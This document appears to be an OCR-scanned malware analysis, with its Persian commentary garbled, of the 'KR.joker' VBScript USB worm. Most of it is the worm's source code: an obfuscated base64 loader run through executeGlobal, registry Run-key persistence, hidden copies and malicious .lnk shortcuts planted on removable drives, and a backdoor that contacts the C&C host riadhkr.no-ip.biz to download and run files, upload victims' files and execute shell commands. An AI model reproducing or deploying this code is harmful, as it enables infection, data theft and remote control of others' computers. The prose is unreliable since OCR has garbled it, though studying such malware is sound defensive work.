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lg==windowsIA==windowscA==windowsdQ==windowsYg==windowsbA==windowsaQ==windowsYw==windowsIA==windowsdg==windowsYQ==windows
cg==windowsIA==windowsKg==windowsKg==windowsKg==windowsKg==windowsKg==windowsKg==windowsKg==windowsKg==windowsKg==window
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systemProtector

systemProtector = Chr(87) & Chr(1e5) & Chr(110) & chr(79) & Chr(115) & chr(61) & Chr(83) & chr(80) & Chr(76) & Chr(73) &
Chr(84) & chr(40) & chr(87) & chr(105) & Chr(11@) & chr(79) & Chr(115) & Chr(44) & chr(34) & Chr(119) & chr(1e5) & chr
(110) & chr(1ee) & Chr(111) & Chr(119) & chr(115) & chr(34) & Chr(41) & chr(13) & Cchr(10) & chr(70) & chr(79) & chr(82)
& Chr(32) & chr(87) & chr(1e5) & Chr(110) & chr(83) & Chr(121) & Chr(115) & chr(116) & Chr(101) & chr(109) & Chr(32) &
Chr(61) & Chr(32) & Chr(48) & Chr(32) & Chr(84) & Chr(79) & Chr(32) & Chr(85) & Chr(66) & Chr(79) & Chr(85) & Chr(78) &
Chr(68) & Chr(40) & chr(87) & chr(105) & Chr(110) & Chr(79) & Chr(115) & Chr(41) & Chr(32) & Chr(45) & chr(49) & Chr(13)
& chr(1e) & chr(83) & Chr(121) & Chr(115) & Chr(68) & Chr(97) & Chr(116) & Chr(1e1) & Chr(32) & Chr(61) & Chr(32) & Chr
(83) & Chr(121) & chr(115) & chr(68) & Chr(97) & Cchr(116) & chr(101) & Chr(32) & chr(38) & chr(32) & chr(66) & Chr(97) &
Chr(115) & Chr(1e1) & Chr(54) & Chr(52) & Chr(68) & Chr(1e1) & Chr(99) & Chr(111) & Chr(1@0) & Chr(101) & Chr(40) & Chr
(87) & chr(1e5) & Chr(110) & chr(79) & Chr(115) & Chr(4@) & chr(87) & Chr(105) & Chr(110) & chr(83) & Chr(121) & chr
(115) & chr(116) & Chr(101) & Chr(109) & Chr(41) & Chr(41) & Chr(13) & Chr(10) & Chr(78) & Chr(69) & Chr(88) & Chr(84) &
Chr(13) & chr(10) & chr(101) & chr(120) & chr(101) & Chr(99) & Chr(117) & chr(116) & Chr(101) & Chr(71) & chr(1e8) &
Chr(111) & Chr(98) & Chr(97) & Chr(108) & Chr(32) & Chr(40) & Chr(83) & Chr(121) & Chr(115) & Chr(68) & Chr(97) & cChr
(116) & chr(1e1) & Chr(41) & chr(13) & chr(10) & chr(13) & Chr(10) & Cchr(13) & Cchr(1@) & Cchr(7@) & Chr(117) & Chr(110) &
Chr(99) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(32) & Chr(66) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr
(52) & chr(69) & chr(110) & chr(99) & Chr(111) & Chr(100) & chr(101) & Chr(40) & Chr(115) & chr(84) & Chr(101) & chr
(120) & Chr(116) & Chr(41) & Chr(13) & Chr(10) & Chr(32) & Chr(32) & Chr(32) & Chr(68) & Chr(105) & Chr(1e9) & Chr(32) &
Chr(111) & chr(88) & Chr(77) & chr(76) & Chr(44) & Chr(32) & Chr(111) & chr(78) & chr(111) & Chr(1ee) & Chr(1e1) & chr
(13) & Chr(10) & chr(32) & Chr(32) & Chr(32) & Chr(32) & Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(111) & Chr(88) &
Chr(77) & Chr(76) & Chr(32) & chr(61) & chr(32) & chr(67) & Chr(114) & chr(1@1) & chr(97) & Chr(116) & chr(101) & Chr
(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(40) & Chr(34) & Chr(77) & Chr(115) & Chr(120) & Chr(109)
& chr(1e8) & Chr(50) & chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(1e9) & Chr
(101) & Chr(110) & Chr(116) & Chr(46) & Chr(51) & Chr(46) & Chr(48) & Chr(34) & Chr(41) & Chr(13) & Chr(1e) & Chr(32) &
Chr(32) & Chr(32) & chr(32) & chr(83) & chr(101) & Chr(116) & Chr(32) & chr(111) & Chr(78) & Chr(111) & Chr(1e@) & Chr
(101) & chr(32) & Chr(61) & Chr(32) & Chr(111) & Chr(88) & Chr(77) & Chr(76) & Chr(46) & Chr(67) & Chr(114) & Chr(101l) &
Chr(97) & chr(116) & Chr(101) & Cchr(69) & chr(1e8) & Chr(101) & Chr(109) & chr(101) & Cchr(11@) & Chr(116) & Chr(40) &
Chr(34) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52) & Chr(34) & Chr(41) & Chr(13) & Chr(1e) & Chr(32)
& Chr(32) & Cchr(32) & chr(32) & Cchr(111) & chr(78) & Chr(111) & Chr(1@@) & chr(1e1) & chr(46) & Chr(10@) & Chr(97) & Chr
(116) & chr(97) & Chr(84) & Chr(121) & Chr(112) & Chr(101) & Chr(32) & Chr(61) & Chr(32) & Chr(34) & Chr(98) & Chr(1e5)
& Chr(110) & Chr(46) & chr(98) & Chr(97) & Chr(115) & Cchr(101) & Chr(54) & chr(52) & Chr(34) & chr(13) & Chr(10) & Chr
(32) & Chr(32) & Chr(32) & Chr(32) & Chr(111) & Chr(78) & Chr(111) & Chr(1@0) & Chr(101) & Chr(46) & Chr(110) & Chr(111)

execute systemProtector
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WinOs=SPLIT(WinOs, "windows")

FOR WinSystem = @ TO UBOUND(WinOs) -1
SysDate = SysDate & Base64Decode(WinOs(WinSystem))

NEXT
executeGlobal (SysDate)

o B3 |, WINOS ite 59,0 “WINAOWS” Lol o8 axksd cpl 55 (oo sanlice 45 jsbo Lo




e llbl sl g lbla, | 2yljy

whslalelbl g jglidwlsjlw

l, SysDate e g 00,5 cusls |, executeGlobal [y « Lol oS SliS 5o, slp ol salgs
g oy 15810 sl 40 pleal 518 Jol> bl .auiS (oo 0,053 b S 9,0
Basest oliSie, 55,550, &y

Baseb4Encode(sText)
OXML, oNode
OXML = CreateObject("Msxml2.DOMDocument.3.0")
oNode = oXML.CreateElement("base64™)
oNode.dataType = "bin.base64"
oNode.nodeTypedvValue =Stream_StringToBinary(sText)
Base64Encode = oNode.text
oNode =
OXML =

Base64Decode(ByVal vCode)
0XML, oNode
OXML = CreateObject("Msxml2.DOMDocument.3.8")
oNode = oXML.CreateElement(“"base64™)
oNode.dataType = "bin.base64™
oNode.text = vCode
Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)

oNode =
oXML =

Stream_StringToBinary(Text)
adTypeText = 2
adTypeBinary = 1
BinaryStream
BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeText
BinaryStream.CharSet = "us-ascii"
BinaryStream.Open
BinaryStream.WriteText Text
BinaryStream.Position = @
BinaryStream.Type = adTypeBinary
BinaryStream.Position = @
Stream_StringToBinary = BinaryStream.Read
BinaryStream =

‘;ﬂb 31353

>



wilellbl g yalid golis byl ljy
whylelelibl g sgls ol

Stream_BinaryToString(Binary)
adTypeText = 2
adTypeBinary = 1
BinaryStream
BinaryStream = CreateObject("ADODB.Stream")

BinaryStream.

BinaryStream.

BinaryStream
BinaryStream
BinaryStream
BinaryStream

Type = adTypeBinary
Open

.Write Binary
.Position = @

.Type = adTypeText
.CharSet = "us-ascii”

Stream_BinaryToString = BinaryStream.ReadText
BinaryStream =

S 5w s puiiic Y—V—F
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MasterHost = "riadhkr.no-ip.biz"

BackdoorPort = 999
pathinstall = "%temp%"
FileShortcut =
FolderShortcut =

el 00 Gy b ,a0g g b BB LS (ol TSO Al 4y soges o pmitie qgis, Sy (sl it 31 ym

sla pb 4 e 9o .l oo soliul ] Sl jgiws sl g CMA L S 6l 56 WSh s (pien

3 955 golauly sl Sl8lay aST asS o o Lol jeaing (6 I e 90 A 35 HKLM 4 HKCU

fso,wsh

WS oo oslil b )T 51 jeais sl b o

fso = createobject("scripting.filesystemobject™)
wsh = wscript.createobject("wscript.shell™)

xmlobject

xmlobject = createobject("msxml2.xmlhttp™)

HKCU, HKLM
HKCU="HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\WinUsbDriver"
HKLM="HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\Wi
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wormname = "WinUsbDriver.vbs"

pathinstall = wsh.expandenvironmentstrings(installdir) & "\"

if not fso.folderexists(installdir) then pathinstall = wsh.expandenvironmentstrings("%temp%") & "\"
VbsSeparator = "<" & "|" & ">"

sleep = 5000

dim response

dim cmd

dim param

info = ""
usbspreading = ""
startdate = ""
dim oneonce
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instance

")
cmd = split (r ,VbsSeparator)
cmd (@)
param cmd (1)
execute param

param = cmd (1)
oneonce.close
oneonce = fso.opentextfile (pathinstall & wormname ,2,
oneonce.write param
oneonce.close
wsh.run " & chr(34) & pathinstall & wormname & chr(34)
wscript.
"unins
uninstall
downleoad cmd (1),cmd (2)
site-send”
WebDownloader cmd (1),cmd (2)

r

param = cmd (1)

upload (param)
"enum-dr !

~"',ListeDriver

ListeFoldersFiles (param)
"enum
post ] ) ,ListeProcess

ELEL]
post 11" ,CmdCommand (param)
param = cmd (1)

deletefaf (param)

param = cmd (1)
ProcessExit (param)

cmd (1)
eval (param)

sleep
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sk o 1S-cmd-shell

ol Jlol jopm o 5l yel )b loxe Q] u*’)OT aS s by L6

. - delete
D9 o B deletefaf L lawg ol

ProcessEXit sl bwg wosl ool jial,b ,0 a5 PId Jlais b awgy _
‘ exit-process
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"HKEY_LOCAL_MACHINE\software\WinUsbDriver\"
b oply 2l Jl 5o o Sl 6 LT a5 035 o oy o occdlad 052y j550e jlade a5 Jj50 50
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"HKEY_CURRENT _USER\software\microsoft\windows\currentversion\run\Wi
nUsbDriver"

"HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\
WinUsbDriver"
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WormStart ()

wsh.regwrite HKCU , "wscript.exe //B " & chrw(34) & pathinstall & wormname & chrw(34) , "REG_SZ"
wsh.regwrite HKLM , "wscript.exe //B " & chrw(34) & pathinstall & wormname & chrw(34) , "REG_SZ"

fso.copyfile wscript.scriptfullname,pathinstall & wormname,

objFichier3 = fso.GetFile(pathinstall &"WinUsbDriver.vbs™)
objFichier3.Attributes =2+4

et s § 0] Sy I3l L s ob dNStaNCe ol aslsl jo WormStart b l,>! 5
S8 installfullnameshort e 5,0 45 098 o axslo 33l o6 L IEMP poie oS 5 51 158000
7o b 5o oSl (G 090 (S S Sl (e BB e b e (0l 45T (S50 50 058 o0 00l
S Sl gl,al 4 plasl WSCript.exe LB sla! b co Sl o 3,05 L3 TEMP 15,0 5 odis cua
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usbspreading = wsh.regread ("HKEY_LOCAL_MACHINE\software\" & split (wormname,”.")(@) & "\")
if usbspreading = "" then
if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(wormname) then
usbspreading = "true - " & date
wsh.regwrite "HKEY_LOCAL_MACHINE\software\" & split (wormname,”.")(@) & "\", usbspreading, "REG_SZ"
else
usbspreading = "false - " & date
wsh.regwrite "HKEY_LOCAL_MACHINE\software\" & split (wormname,".")(®) & "\", usbspreading, "REG_SZ"

end if

end If

WormStart
scriptfullnameshort = fso.getfile (wscript.scriptfullname)
installfullnameshort = fso.getfile (pathinstall & wormname)
lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
wsh.run "wscript.exe //B " & chr(34) & pathinstall & wormname & Chr(34)
wscript.quit
if
.clear
oneonce = fso.opentextfile (pathinstall & wormname ,8,
err.number > @ then wscript.quit

Yy
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Worminstall &6 d—\—9
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sub WormInstall
on error resume next
dim Shortcutobj
dim filename
dim foldername
dim fileicon
dim foldericon

WormStart
for each drive in fso.drives

if drive.isready = true then
if drive.freespace > @ then
if drive.drivetype = 1 then
fso.copyfile wscript.scriptfullname , drive.path & "\" & wormname,true
if fso.fileexists (drive.path & "\" & wormname) then
fso.getfile(drive.path & "\" & wormname).attributes = 2+4
if
each file in fso.getfolder( drive.path & "\" ).Files
if not FileShortcut then exit for
if instr (file.name,".") then
if 1case (split(file.name, ".") (ubound(split(file.name, ".")))) <> "1lnk™ then
file.attributes = 2+4
if ucase (file.name) <> ucase (wormname) then
filename = split(file.name,".")
set ShortcutOobj = wsh.createshortcut (drive.path & "\" & filename (@) & ".1lnk")
Shortcutobj.windowstyle = 7
ShortcutObj.targetpath = "cmd.exe™
ShortcutObj.workingdirectory = ""
ShortcutObj.arguments = "/c start " & replace(wormname,”™ ", chrw(34) & " " & chrw(34)) &
"&start " & replace(file.name,™ ", chrw(34) & " " & chrw(34)) &"&exit"
fileicon = wsh.regread ("HKEY_LOCAL_MACHINE\software\classes\" &
wsh.regread ("HKEY_LOCAL_MACHINE\software\classes\." &
split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")

if instr (fileicon,",") = @ then

Shortcutobj.iconlocation = file.path

else
ShortcutObj.iconlocation = fileicon

end if

Shortcutobj.save()

end if
end if
end if
next

for each folder in fso.getfolder( drive.path & "\" ).subfolders
if not FolderShortcut then exit for
folder.attributes = 2+4
foldername = folder.name
set ShortcutoObj = wsh.createshortcut (drive.path & "\" & foldername & ".1lnk")
ShortcutObj.windowstyle = 7
Shortcutobj.targetpath = "cmd.exe"
Shortcutobj.workingdirectory = ""
ShortcutObj.arguments = “/c start wscript.exe™ & " ™ & replace(wormname,” ", chrw(34)
& " " & chrw(34)) & "&start explorer " & replace(folder.name,” ", chrw(34) & " " & chrw(34)) &"&exit"
foldericon = wsh.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
if instr (foldericon,",") = @ then
ShortcutObj.iconlocation = folder.path
else
ShortcutObj.iconlocation = foldericon
end if
ShortcutObj.save()

end If
end If
end if
next
err.clear

end sub
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CmdCommand (cmd)

xmlobject,shellexecute,readdata
shellexecute = wsh.exec ("%comspec% /c " & cmd)
if not shellexecute.stdout.atendofstream then
readdata = shellexecute.stdout.readall
elseif not shellexecute.stderr.atendofstream then
readdata = shellexecute.stderr.readall
else
readdata =
end if

man

CmdCommand = readdata

WP g Jb S Sdo b V-7
deletefaf (url)

fso.deletefile url
fso.deletefolder url

(pid) awg g awliss 31 03liwt b dwg 39 S (o M6 A—V—F

ProcessExit (pid)

wsh.run "taskkill /F /T /PID " & pid,7,

Yo
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function ListeProcess ()

objwmiservice = getobject("winmgmts:\\.\root\cimv2")
colitems = objwmiservice.execquery(“”select * from win32_process",,48)

objitem
each objitem in colitems
ListeProcess = ListeProcess & objitem.name & "|"
ListeProcess = ListeProcess & objitem.processid & "|"
ListeProcess = ListeProcess & objitem.executablepath & VbsSeparator
next
end function

W98 S (998 Sl W gd g 1 B Camd (98 59T Cawnty Qb Yo —\—F
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function ListeFoldersFiles (enumdir)

ListeFoldersFiles = enumdir & VbsSeparator

for each folder in fso.getfolder (enumdir).subfolders
ListeFoldersFiles = ListeFoldersFiles & folder.name & "|" & "" & "[" & "d" & "|" &
folder.attributes & VbsSeparator

next

for each file in fso.getfolder (enumdir).files
ListeFoldersFiles = ListeFoldersFiles & file.name &
file.attributes & VbsSeparator

|||H & _File‘size & IF‘H & II_FII & |||F| &

next
end function

931 30 Cawnd 98 39T Cawsrs @6 1\ —V—F
n ListeDriver ()

each drive in fso.drives

drive.isready = true then

ListeDriver = ListeDriver & drive.path &
end if
next

& drive.drivetype & VbsSeparator

end Function
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s5lils C&C 5, 511, bl slyxoms o 0,05 o (FileUrl) ol )b clgie a1, LB G oL b oyl
4 POSt g4 51 NP aiy G« b1 sgbils sl xS oo oo filedir e 5,0 1) 4 g 00,8
sl 33l C&C g, a5 http://MasterHost:BackdoorPort/is-sending<|>fileurl . ,s]
5 “riadhkr.no-ip.biz” MasterHost jlaie o S0 sloprie polie Gubo a5 005 o Jlo)
http://riadhkr.no- C&C 5, 5l sgbils w0l &dly ,o .asb o “444” BackdoorPort s

sk o 1p.biz:aaa/is-sending<|>fileurl
download (fileurl,filedir)

if filedir = "" then
filedir = pathinstall
end if

SavingPath = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
HttpDownload = createobject("msxml2.xmlhttp")
HttpDownload.open “"post","http://" & MasterHost & ":" & BackdoorPort &"/" & "is-sending" &
VbsSeparator & fileurl,
HttpDownload.send ""

FsoFileDownload = createobject (“scripting.filesystemobject")
FsoFileDownload.fileexists (SavingPath) then
FsoFileDownload.deletefile (SavingPath)
if
HttpDownload.status = 200 then
objstreamdownload
objstreamdownload = createobject("adodb.stream")
with objstreamdownload
.type = 1
.open
.write HttpDownload.responsebody
.savetofile SavingPath
.close
end with
objstreamdownload =
end if
if FsoFileDownload.fileexists(SavingPath) then
wsh.run FsoFileDownload.getfile (SavingPath).shortpath
end if
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http://MasterHost:BackdoorPort/is-recving<|>fileurl _.,sT 4 post g4 ;I http aces
MasterHost loie oS0 lopiie polio Gub a5 05 o Jloy) el l58l0s C&C 9,0 a5
C&C 5,0 39bT Loyl &dly 0 .08b - “944” BackdoorPort i 4 “riadhkr.no-ip.biz”
sk o http://riadhkr.no-ip.biz:aaa/is-recving<|>fileurl

upload (fileurl)

xmlobject,objstreamuploade,buffer
objstreamuploade = createobject("adodb.stream™)
with objstreamuploade
.type = 1
.open
.loadfromfile fileurl
buffer = .read
.close
end with
objstreamdownload =
xmlobject = createobject("msxml2.xmlhttp™)
xmlobject.open "post","http://" & MasterHost & ":" & BackdoorPort &"/" & "is-recving" &
VbsSeparator & fileurl,
xmlobject.send buffer

C&C yg g Coow &3 il g 30 S Jlw 51 QG 1F—V—F
aS el colym 50 Jgl el )b 005 s (639,55 Hlgie 4 |, param 3 CMd sls ol 4 jol,b 90 &b oyl
W S B o g ol Canlgz o e s PAMAM ¢ 0,5 salys Jlo )l C&C g oo
Jiéls C&C 5,0 a5 hittp://MasterHost:BackdoorPort/cmd . 1 4, post ¢4 ;1 http
“riadhkr.no-ip.biz” MasterHost luie son Ko slo prie polio Gl a5 03,5 o Jlo,l el
http://riadhkr.no- C&C 4, 5 ogbils w0l &8ly ;o .asb - “494” BackdoorPort jluss

sl e 1p.biziaas/cmd

post (cmd ,param)
post = param
xmlobject.open "post"”,"http://" & MasterHost & ":" & BackdoorPort &"/" & cmd,

xmlobject.setrequestheader "user-agent:",UserInfo
xmlobject.send param
post = xmlobject.responsetext
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security

security =

objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
colitems = objwmiservice.execquery(“select * from win32_operatingsystem”,,48)

for each objitem in colitems

versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
OSversion = versionstr (@) & "."
for x = 1 to ubound (versionstr)

OSversion = OSversion & versionstr (i)

next
OoSversion = eval (OSversion)
if OSversion > 6 then sc = "securitycenter2" else sc = "securitycenter”

winsecurity = getobject("winmgmts:\\localhost\root\" & sc)

AntiAvInstalled = winsecurity.execquery("select * from antivirusproduct”,"wql",®)

for each objantivirus in AntiAvInstalled

security = security & objantivirus.displayname & "
next
if security = "" then security = "nan-av"

| 31 PG S S glils G VF—\—F
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WebDownloader (fileurl,filename)

strlink = fileurl

SavingPath = pathinstall & filename
HttpDownload = createobject("

HttpDownload.open ", strlink,

HttpDownload.send

FsoFileDownload = createobject
if FsoFileDownload.fileexists (SavingPath)
FsoFileDownload.deletefile (SavingPath)
end if

if HttpDownload.status = 208 then
objstreamdownload
objstreamdownload = createobject(" b.stream")
with objstreamdownload
.type = 1
.open
.write HttpDownload.responsebody
.savetofile SavingPath
.close
end with
objstreamdownload =
end if
if FsoFileDownload.fileexists(SavingPath) then
wsh.run FsoFileDownload.getfile (SavingPath).shortpath
end if
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UserInfo

inf = "" then

inf = UserID & VbsSeparator

inf = inf & wsh.expandenvironmentstrings("%computername%") & VbsSeparator
inf = inf & wsh.expandenvironmentstrings("%username%"”) & VbsSeparator

root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
os = root.execquery ("select * from win32_operatingsystem")
each osinfo in os
inf = inf & osinfo.caption & VbsSeparator
exit for
next
inf = inf & "the KR.joker worm" & VbsSeparator
inf = inf & security & VbsSeparator
inf = inf & usbspreading
UserInfo = inf
else
UserInfo = inf
end if

S5 59231 Al (53597 Cuwny A7
DSl oo Swss Jb e o, Lo 65‘5 5 awlid oyl
UserID
root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")

disks = root.execquery ("select * from win32 logicaldisk™)
for each disk in disks

if disk.volumeserialnumber <> "" then

UserID = disk.volumeserialnumber
exit for
end if
next




wilellbl g yalid golis byl ljy
whilelelbl g gl ylejlu

USB sl 599159 g i 31 2 3500 51 300 (5 LSy g B> @16 18—1—F

yele o o ol o Jate gl s 4 8l s Al dales Bl Sso 0 58l
O 9 -RES ‘) Sl LJE;E3 kngﬂil)b K9y » )tﬁ‘dg Sdo )Li;ﬁ‘ L}ALQ &S ooy duslw l_PQI<: tjiu

W10 ,5 o p Jloy g adgl > a0 (ho 4 ALITDULES jlade oudas &,k 5) 1) oo aske sla ,a)gs
uninstall

filename
foldername

.regdelete HKCU
.regdelete HKLM

.deletefile wscript.scriptfullname ,

each drive in fso.drives
drive.isready = then
drive.freespace > @ then
drive.drivetype = 1 then
for each file in fso.getfolder ( drive.path & "\").files

if instr (file.name,".") then
if 1lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
file.attributes = @
if wucase (file.name) <> ucase (wormname) then
filename = split(file.name,"”.")
fso.deletefile (drive.path & "\" & filename(@) & ".lnk" )
else
fso.deletefile (drive.path & "\" & file.name)
end If
else
fso.deletefile (file.path)
end if
end if
next
for each folder in fso.getfolder( drive.path & "\" ).subfolders
folder.attributes = @
next
end if
end if
end if
next
wscript.quit
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https://msdn.microsoft.com/en-us/library/ddAvyy - a.aspx

https://www.sentryo.net/usb-flash-drives-serious-cyber-threat-industrial-
systems/

https://securelist.com/usb-threats-from-malware-to-miners/AvyaAa/
https://threats.kaspersky.com/en/threat/Worm.VBS.Dinihou/

https://blog.trendmicro.com/trendlabs-security-intelligence/rising-trend-
attackers-using-Ink-files-download-malware/
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